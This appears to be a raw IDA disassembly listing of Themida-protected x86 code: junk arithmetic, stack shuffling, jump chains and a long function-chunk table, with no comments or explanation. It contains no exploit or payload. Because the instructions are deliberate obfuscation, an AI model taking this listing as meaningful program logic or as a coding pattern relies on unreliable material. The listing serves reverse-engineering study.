		mov	edx, ebx
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BDBD:				; CODE XREF: sub_58C17E+A92Fj
		push	[esp-0Ah+arg_4+2]
		push	[esp-6+arg_0+2]
		pop	esi
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 544271A1h
		neg	edi
		jmp	loc_59481B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58BDDA:				; CODE XREF: Themida_:00591904j
		sub	ebp, 1F141C6Ah
		and	ebp, 5EEA0DA1h
		sub	ebp, 9EDFE5F4h
		sub	eax, ebp
		jmp	loc_58C3A8
; ---------------------------------------------------------------------------


loc_58BDF3:				; CODE XREF: Themida_:0058A71Ej
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	633h
		mov	[esp], edi
		mov	edi, 2
		add	edx, edi
		jmp	loc_594E6F
; ---------------------------------------------------------------------------


loc_58BE16:				; CODE XREF: Themida_:00596611j
		mov	[esp], ecx
		push	eax
		mov	ah, 17h
		and	ah, 8Dh
		sub	ah, 9Ah
		push	edx
		mov	dh, 8Fh
		sub	ah, dh
		pop	edx
		mov	cl, ah
		pop	eax
		shl	cl, 1
		jmp	loc_590BC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58BE32:				; CODE XREF: sub_5916C4-3971j
		sub	bl, 8
		mov	ch, bl
		jmp	loc_592D63
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BE3C:				; CODE XREF: sub_58C17E+39C4j
		mov	ecx, 28h
		push	32A9h
		mov	[esp+2+var_4+2], ebx
		mov	ebx, 1A3025A4h
		add	ecx, 4E817D08h
		jmp	loc_5931E2
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5948B7


loc_58BE59:				; CODE XREF: sub_5948B7-3A58j
		mov	ecx, 5371559Fh
		and	ecx, 26360458h
		add	ecx, 1F412102h
		push	ecx
		not	[esp+4+var_4]
		jmp	loc_590305
; END OF FUNCTION CHUNK	FOR sub_5948B7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_58FADC
; ---------------------------------------------------------------------------


loc_58BE93:				; CODE XREF: Themida_:00590826j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_58C0C7
; ---------------------------------------------------------------------------


loc_58BEA9:				; CODE XREF: Themida_:00593131j
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_596D1C
; ---------------------------------------------------------------------------


loc_58BEC0:				; CODE XREF: Themida_:0058C7BBj
		sub	ebx, edx
		pop	edx
		add	ebx, 0A877BA99h
		and	ebp, ebx
		pop	ebx
		xor	ebp, 721778FCh
		push	eax
		mov	eax, 1B4C5146h
		jmp	loc_590D3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BEDD:				; CODE XREF: sub_58C17E+FA3j
		push	edi
		mov	edi, 12911C2Fh
		mov	esi, 12911C2Bh
		jmp	loc_58FC07
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58BEED:				; CODE XREF: sub_595123-41CDj
					; Themida_:00597D1Aj
		pop	edx
		pop	[esp+0Ch+var_C]
		jmp	loc_59757F
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_58BEF6:				; CODE XREF: Themida_:00594707j
		sub	edi, 1DB15A02h
		and	edi, 7A5376DCh
		jmp	loc_58DE33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58BF07:				; CODE XREF: sub_59524C-3171j
		push	71D06E3Eh
		pop	ecx
		xor	ecx, 5DE00431h
		jmp	loc_59699A
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_58BF18:				; CODE XREF: Themida_:0058E98Ej
		pop	ecx
		jmp	loc_5965A4
; ---------------------------------------------------------------------------


loc_58BF1E:				; CODE XREF: Themida_:00591024j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BF2C:				; CODE XREF: sub_58C17E+2649j
		and	eax, 48A377BCh
		inc	eax
		sub	eax, 0E407E291h
		add	ecx, eax
		pop	eax
		jmp	loc_597CBB
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58BF3F:				; CODE XREF: sub_5EC2E8-5E825j
		pop	esi
		xchg	esi, ebp
		xchg	ebp, esi
		push	eax
		push	edi
		mov	edi, 0DCADD322h
		mov	eax, edi
		pop	edi
		jmp	loc_595AD4
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58BF53:				; CODE XREF: Themida_:00594F39j
		push	eax
		jmp	loc_597FFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_58BF59:				; CODE XREF: sub_591059+603Dj
		or	esi, ecx
		pop	ecx
		xor	esi, 2ACD3BEDh
		jmp	loc_59248C
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_58BF67:				; CODE XREF: Themida_:005966B0j
		sub	edi, 20343098h
		mov	esi, [esp]
		add	esp, 4
		add	edi, 2
		jmp	loc_590C3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58BF7E:				; CODE XREF: sub_59524C+AD1j
		mov	[esp+0], ecx
		mov	ecx, 87FB5464h
		add	edx, ecx
		pop	ecx
		jmp	loc_58D1C9
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_58BF8E:				; CODE XREF: Themida_:0058A2EEj
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58BFA6:				; CODE XREF: Themida_:005970CAj
		xchg	esi, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_5953B3
; ---------------------------------------------------------------------------


loc_58BFBA:				; CODE XREF: Themida_:00595B06j
		or	ebx, 7A405900h
		neg	ebx
		jmp	loc_58C55E
; ---------------------------------------------------------------------------


loc_58BFC7:				; CODE XREF: Themida_:loc_58CC3Aj
		push	ecx
		push	ebx
		mov	ebx, 7DA0097Bh
		jmp	loc_590E33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BFD3:				; CODE XREF: sub_58C17E+482j
		or	bl, 0AFh
		jnz	loc_595C94
		inc	bl
		jmp	loc_58F7A5
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		mov	ch, dl
		mov	edx, [esp]


loc_58BFE8:				; CODE XREF: Themida_:00592CF1j
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58BFF1:				; CODE XREF: sub_58C17E+2A3j
		mov	ebx, esp
		jmp	loc_58CE8A
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 13BC7553h
		sub	eax, 2BE439A1h
		sub	eax, esi
		add	eax, 2BE439A1h
		pop	esi
		add	eax, 41D85510h
		add	eax, ebx
		sub	eax, 41D85510h
		push	edi
		push	esi
		push	eax
		mov	eax, 368D25F5h
		jmp	loc_5970E9
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		mov	esi, 0FE67D2Dh
		push	ecx
		jmp	loc_58D452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58C03A:				; CODE XREF: sub_590467+4505j
		neg	cl
		xchg	cl, al
		push	edx
		mov	dl, 7
		not	dl
		dec	dl
		shl	dl, 8
		shr	dl, 3
		jmp	loc_58D7EF
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_58C050:				; CODE XREF: sub_58D99C+4D44j
					; Themida_:005953BFj
		dec	byte ptr [esp+0]
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C059:				; CODE XREF: sub_58C17E+7DBFj
		sub	edx, 3FC579D0h
		jmp	loc_5957AD
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_58C064:				; CODE XREF: sub_58D99C+11E5j
		push	466D37E5h
		pop	eax
		jmp	loc_5926D2
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58C06F:				; CODE XREF: sub_59762D-5E04j
		sub	ebx, 126A201Dh
		sub	ebx, ebp
		jmp	loc_5977A7
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58C07C:				; CODE XREF: sub_5916C4-492j
		mov	edi, [esp-12h+arg_C+2]
		add	esp, 4
		push	[esp-16h+arg_10+2]
		mov	eax, [esp-12h+arg_C+2]
		jmp	loc_592019
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58C090:				; CODE XREF: Themida_:0058C753j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58C0B5:				; CODE XREF: Themida_:00593F8Ej
		jb	loc_58DF01
		jmp	loc_59781D
; ---------------------------------------------------------------------------
		pop	edx
		jmp	sub_59762D
; ---------------------------------------------------------------------------
		pop	edx


loc_58C0C7:				; CODE XREF: Themida_:0058BEA4j
		pop	edi
		jmp	loc_58B059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5965CD


loc_58C0CD:				; CODE XREF: sub_5965CD+6j
		mov	ecx, [esp+0]
		push	edi
		mov	edi, esp
		jmp	loc_58AD2E
; END OF FUNCTION CHUNK	FOR sub_5965CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58C0D8:				; CODE XREF: sub_594654+3662j
		mov	[esp+8+var_8], edx
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		jmp	loc_58C99E
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------


loc_58C0E8:				; CODE XREF: Themida_:0058D5DCj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59006C
; ---------------------------------------------------------------------------


loc_58C0F9:				; CODE XREF: Themida_:0058B215j
		mov	edi, 7D0D039Ah
		jmp	loc_58FB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58C103:				; CODE XREF: sub_58F5B5+3A3Dj
		mov	edx, [esp-8+arg_4]
		add	esp, 4


loc_58C10C:				; CODE XREF: sub_5916C4-1226j
		push	50D6h
		mov	[esp-8+arg_4], ecx
		jmp	sub_59338C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DBC4


loc_58C119:				; CODE XREF: sub_58DBC4+6568j
		pop	ebp
		shr	eax, 8
		xor	eax, ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_58C97F
; END OF FUNCTION CHUNK	FOR sub_58DBC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596CA1


loc_58C133:				; CODE XREF: sub_596CA1-3D44j
		push	eax
		mov	eax, esp
		jmp	loc_58D34A
; END OF FUNCTION CHUNK	FOR sub_596CA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58C13B:				; CODE XREF: Themida_:0058CB1Aj
					; sub_590010+3EA1j
		push	edi
		jmp	loc_58EAE5
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58C141:				; CODE XREF: Themida_:0058E5BBj
		mov	[esp], edx
		jmp	loc_58AAEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58C149:				; CODE XREF: sub_592D25-3F4Bj
		mov	esp, [esp+0]
		mov	[esp+0], edx
		mov	edx, 579F3161h
		xor	edx, 28D839EBh
		push	eax
		jmp	loc_592446
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C160:				; CODE XREF: sub_58C17E+4B8j
					; Themida_:00591364j
		pop	edi
		add	edi, 57E31B65h
		pop	esi
		jmp	loc_595236
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D12


loc_58C16D:				; CODE XREF: sub_592D12-63D2j
		add	ecx, edx
		pop	edx
		xor	ecx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ecx
		xor	ecx, [esp-0Ch+arg_8]
		jmp	loc_58CD20
; END OF FUNCTION CHUNK	FOR sub_592D12

; =============== S U B	R O U T	I N E =======================================



sub_58C17E	proc near		; CODE XREF: sub_5EC2E8:loc_592757j
					; sub_595123+2ACj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 0058A42B SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058A4BD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058A569 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A6FB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058A7D7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058A868 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058A8AA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058AADC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058AC8B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058AD2E SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058ADF2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B046 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B095 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B190 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058B499 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058B4E8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B5BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B69B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B878 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058BACA SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058BC67 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058BD94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BDBD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BE3C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BEDD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BF2C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058BFD3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BFF1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C059 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C160 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C1AC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C1D7 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058C320 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C360 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C41D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C5FB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C630 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C692 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C9E9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CA07 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058CAD0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058CAF7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CB89 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058CBB7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058CBDC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058CCFB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CDF5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058CE6C SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058CEB9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CED7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058CFC1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D05B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058D085 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058D116 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D2DA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D35B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058D5E1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D686 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058D770 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058D869 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058D8D5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058D92B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DA2D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DB64 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DC87 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058DFD5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E019 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E145 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E495 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E507 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058E5EE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058E7C2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E7DF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E998 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058EC51 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058ED18 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058ED9C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058EE3B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EE52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F10B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F1ED SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058F400 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F4D9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058F572 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F59D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F5C5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F609 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F7A5 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0058F892 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058F970 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058FA20 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FA36 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FB3A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FC07 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058FC27 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FEB6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058FF50 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0059018F SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005903B3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590558 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005907BF SIZE 0000003F BYTES
; FUNCTION CHUNK AT 005909A6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005909F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590B34 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00590BC8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590D5E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590F16 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590F6C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005910FE SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00591170 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005911AA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591516 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005916BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005919CC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591BD6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00591BF4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591CE7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591D61 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00591DEC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591E27 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591F34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591FD0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591FFD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592033 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00592091 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005920F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059216A SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005921A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005922FF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059259A SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059263F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00592682 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005926EA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592737 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592784 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00592A43 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592E13 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00592F62 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00593000 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00593157 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005931E2 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00593299 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00593351 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593495 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059361D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593650 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005937D7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00593886 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005938FF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00593A83 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593B13 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593F18 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593F35 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005941D6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005945E0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005947F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059481B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00594887 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005948AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059490B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594936 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00594B2B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594C16 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00594C74 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00594D40 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00594E3C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005950EB SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00595236 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005953C4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005954A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005955FB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005957AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005958DF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595921 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00595A16 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595C94 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595D6F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00596042 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00596411 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005966B5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005966EA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00596731 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059674C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596786 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005967BC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596A94 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00596BCA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00596CC9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00596F17 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00596F86 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005971BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00597291 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597634 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059774E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005977E9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597864 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00597A0A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597C65 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597C85 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597CBB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597E13 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597E38 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597E52 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00598018 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598030 SIZE 0000002F BYTES

		push	ebx
		jmp	loc_58F970
sub_58C17E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58C184:				; CODE XREF: Themida_:00590BC3j
		push	ecx
		jmp	loc_596D3C
; ---------------------------------------------------------------------------


loc_58C18A:				; CODE XREF: Themida_:0058B06Bj
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, 39252863h
		sub	eax, 823FFFCh
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_594E15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C1AC:				; CODE XREF: sub_58C17E+BAEFj
		push	2157h
		mov	[esp+2+var_4+2], edx
		mov	edx, 3E7C4CF4h
		xchg	eax, edx
		inc	eax
		jmp	loc_58C9E9
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_590815
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebx
		push	17812059h
		jmp	loc_594FBE
; ---------------------------------------------------------------------------
